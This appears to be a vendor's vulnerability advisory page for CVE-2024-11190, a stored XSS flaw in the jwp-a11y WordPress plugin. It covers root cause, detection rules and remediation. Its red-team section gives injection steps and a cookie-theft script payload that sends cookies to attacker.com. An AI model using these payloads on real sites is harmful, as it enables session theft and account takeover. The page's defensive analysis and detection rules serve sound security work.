CVE-2024-11190
Executive Summary
CVE-2024-11190 is a Stored Cross-Site Scripting (XSS) vulnerability in the jwp-a11y WordPress plugin (versions up to and including 4.1.7). This plugin is designed to improve website accessibility. The vulnerability allows a high-privilege user (e.g., Administrator) to inject malicious JavaScript into plugin settings, which is then stored and executed when any user (including lower-privilege users) views the affected admin page. The attack is particularly dangerous in WordPress multisite environments where the unfiltered_html capability is typically disallowed for non-super-admins, as this vulnerability bypasses that restriction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems. The risk is primarily to WordPress site administrators who install and activate the plugin. The lack of a patch from the vendor increases the supply chain risk, as site owners must rely on custom mitigations or deactivation.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.8 (Medium)
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): High (H) – The attacker needs admin-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit the affected admin page.
- Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited information disclosure.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. While the CVSS score is medium, the impact is amplified in multisite environments where the unfiltered_html capability is restricted. An attacker who compromises an admin account can use this vulnerability to escalate privileges or perform persistent attacks.
Deep Dive & Mechanics
The vulnerability resides in the plugin's settings page. The plugin fails to properly sanitize and escape user-supplied input before storing it in the WordPress options table. When the settings are later rendered on the admin page, the unsanitized input is output directly, allowing the execution of arbitrary JavaScript.
Root Cause: The plugin uses functions like update_option() to save settings without applying WordPress's built-in sanitization functions (e.g., sanitize_text_field(), wp_kses_post()). When displaying the settings, it uses echo or _e() without escaping via esc_html() or wp_kses().
Attack Flow:
- An attacker with admin privileges navigates to the plugin's settings page.
- The attacker injects a malicious JavaScript payload into a text field (e.g., a custom CSS or JavaScript setting).
- The plugin saves the payload to the database without sanitization.
- When any user (including lower-privilege users) visits the settings page, the payload is executed in their browser.
- The payload can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (jwp-a11y <= 4.1.7):
// In the plugin's settings page
function jwp_a11y_settings_page() {
$custom_css = get_option('jwp_a11y_custom_css');
?>
<textarea name="jwp_a11y_custom_css"><?php echo $custom_css; ?></textarea>
<?php
}
Patched Code (Hypothetical):
function jwp_a11y_settings_page() {
$custom_css = get_option('jwp_a11y_custom_css');
?>
<textarea name="jwp_a11y_custom_css"><?php echo esc_textarea( $custom_css ); ?></textarea>
<?php
}
The patched version uses esc_textarea() to escape the output, preventing XSS. Additionally, the save routine should sanitize input using sanitize_text_field() or wp_kses_post().
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress installation with the jwp-a11y plugin (<= 4.1.7) activated.
- Admin-level credentials.
Exploitation Steps:
- Log in as an admin.
- Navigate to the plugin settings (e.g.,
/wp-admin/options-general.php?page=jwp-a11y). - In the "Custom CSS" or similar text field, inject the following payload:
<script>alert('XSS');</script> - Save the settings.
- As a lower-privilege user (e.g., subscriber), visit the same settings page. The JavaScript will execute.
Advanced Payload (Cookie Theft):
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual changes to the
jwp_a11y_custom_cssor similar options in thewp_optionstable. - Look for admin users accessing the plugin settings page with suspicious parameters.
- Use a Web Application Firewall (WAF) to block common XSS payloads.
Prevention:
- Deactivate and remove the plugin until a patch is available.
- Implement a Content Security Policy (CSP) that restricts inline script execution.
- Restrict admin access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/jwp-a11y/jwp-a11y.php(version <= 4.1.7) - Database:
wp_optionstable entries containingjwp_a11y_with embedded<script>tags. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin panel.
- Logs: WordPress debug log entries showing unexpected JavaScript execution errors.
Detection Engineering
YARA Rule
rule CVE_2024_11190_Stored_XSS {
meta:
description = "Detects stored XSS payloads in jwp-a11y plugin settings"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-11190"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$plugin_option = /jwp_a11y_/
condition:
$plugin_option and $xss_payload
}
Sigma Rule
title: Stored XSS in jwp-a11y Plugin Settings
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS payloads in jwp-a11y plugin options
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: wordpress
detection:
selection:
option_name|startswith: 'jwp_a11y_'
option_value|contains: '<script'
condition: selection
falsepositives:
- Legitimate use of JavaScript in custom CSS fields (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11190 Stored XSS Payload in jwp-a11y"; flow:to_server,established; content:"jwp_a11y_"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Deactivate and remove the jwp-a11y plugin from all WordPress installations.
- Audit the
wp_optionstable for any stored XSS payloads and remove them. - Reset all admin passwords and review user accounts for unauthorized changes.
Long-term Fix:
- The vendor has not released a patch. Consider switching to an alternative accessibility plugin that is actively maintained.
- If the plugin is critical, implement a custom patch by adding input sanitization and output escaping to the plugin's settings page.
Compensating Controls:
- Deploy a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce a strict Content Security Policy (CSP) that disallows inline scripts.
- Limit admin access to only trusted users and use two-factor authentication (2FA).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.